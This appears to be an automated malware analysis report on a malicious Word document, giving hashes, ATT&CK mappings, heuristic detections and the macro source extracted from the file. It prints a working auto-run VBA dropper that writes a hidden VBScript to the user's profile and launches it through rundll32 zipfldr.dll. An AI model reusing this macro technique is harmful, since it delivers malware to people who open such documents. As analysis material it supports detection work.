Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 03aa3045bab94987…

MALICIOUS

Office (OOXML)

77.9 KB Created: 2020-07-14 07:13:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-15
MD5: 64d0164d852e5a48714d088918e896fd SHA-1: 8fe6afbc8e74ca9b4740c751265d9111cc2cc0c0 SHA-256: 03aa3045bab94987cc94998a560af28274294d2a1c913b7b04a420acd5a4417b
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Signed Binary Proxy Execution: Rundll32 T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute automatically via the Document_open subroutine. These macros construct a VBScript file named 'Hoper.vbs' in the user's profile directory and write arbitrary data into it. The Document_close subroutine then uses rundll32 to execute this VBScript, likely to download and execute a second-stage payload.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • External relationship medium OOXML_EXTERNAL_REL
    External target in word/_rels/settings.xml.rels: WScript.Shell
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 870 bytes
SHA-256: 8eeaa0270f5769a775df92eef82ec05879f441f14e5551429a0a80ca61133c85
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "OptionButton1, 0, 0, MSForms, OptionButton"
Private Mamters
Private Sub Document_open()
Fedgdvxd = Environ("userprofile")
Certudfg = Fedgdvxd & "\Hoper.v" & "b" & "s"


Open Certudfg For Binary As #1
Put #1, , OptionButton1.GroupName
Close #1


Application.Quit SaveChanges:=False

End Sub

Sub Document_close()

Fedgdvxd = Environ("userprofile")
Certudfg = Fedgdvxd & "\Hoper.v" & "b" & "s"


Set Mamters = CreateObject(ThisDocument.XMLSaveThroughXSLT)

Mamters.Run "rundll32 zipfldr.dll,RouteTheCall" & " " & Certudfg
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 0d712d7e4e0cd7075b215fd6ff8bcc7cf5f8a85da0b522eaea808967f3bcba56

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